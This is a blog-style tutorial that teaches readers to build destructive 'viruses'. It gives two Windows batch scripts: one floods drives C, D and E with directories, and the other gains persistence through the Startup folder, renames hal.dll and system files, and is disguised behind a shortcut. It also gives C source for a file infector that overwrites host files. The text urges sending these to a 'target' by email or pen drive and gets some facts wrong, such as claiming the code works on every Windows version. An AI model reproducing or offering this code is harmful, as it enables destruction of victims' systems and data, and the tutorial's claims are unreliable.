How To Create Virus Using Notepad and C Language: Who would have known the true power simple Notepad Application? Well today we are going to show the huge potential of tiny Notepad Program, that can completely ruin anyone’s computer system or make it slower. Also we will show you how to make a Simple Virus program using C Language? Notepad is variably used in Ethical Hacking like to send spam E-mails or for writing simple virus programs. But C language has no limitations, so what’s the harm in knowing the simplest method to hack a computer system using a C-Program. Do not use these methods on your own PC and also do not use it to harm anyone’s private information. Now let us discuss 2 methods of creating a simple virus.
How To Create Virus Using Notepad and C Language
Like our Facebook Page : http://www.facebook.com/MobiViki/

How To Create Virus Using Notepad and C Language

With the Use of Notepad

First we are going to show you, How to make a simple virus in Notepad:

FIRST PROGRAM: 

Step 1: Run or launch notepad. Go to Start -> Run -> Type “Notepad” ->Press Enter

Step 2: Copy the Following Code and paste it in notepad then Save it as “virus.bat”:

@echo off
:VIRUS
cd /d C:
md %RANDOM%
cd /d D:
md %RANDOM%
cd /d E:
md %RANDOM%
goto VIRUS
REM #######################
REM errorcode401.blogspot.in

How To Create Virus Using Notepad and C Language

Step 3: Send it to target through Pen-Drive or via e-mail and ask him to open it.

If you want to try or run it then run on Virtual Machine, which is the best option without harming your own device.

SECOND PROGRAM: 

The second deadly program is best tool for hacking windows XP computers:

@echo off
msg * Error 220
cd Desktop
copy Virus.bat "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\"
cd..
cd..
cd..
cd..
cd..
cd..
cd windows
cd System32
rename hal.dll yourpcisdead.dead
cd..
cd..
cd..
cd..
cd..
cd..
cd..
cd windows
rename *.* *.dead
cd System32
md dead-%random%.txt
rename *.* *.dead

Now save the Notepad file as Virus.bat. With other names it will not work.

 

As the name makes the first impression of harmfulness, So you can change the name by making a shortcut of the original Virus.bat file and then rename it. Now you have the simple tool to destroy or hack any windows XP PC.

CREATE A VIRUS IN C

 You must be knowing the potential of C language. Now we are going to show you a simple example of C’s power, that can create many copies of itself in all other files. This makes affected files useless and again copies itself to other files. Virus infected files can spread the virus program to other files too. Below is the source code of the Virus program.

Source Code

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

 

Just run this program on any PC whether it has Windows XP, Windows 7, Windows 8 or Windows 10. This method is effective on any version.

That would be all for How To Create Virus Using Notepad and C Language. If you have any query regarding the article, do share your comments.

Leave a Reply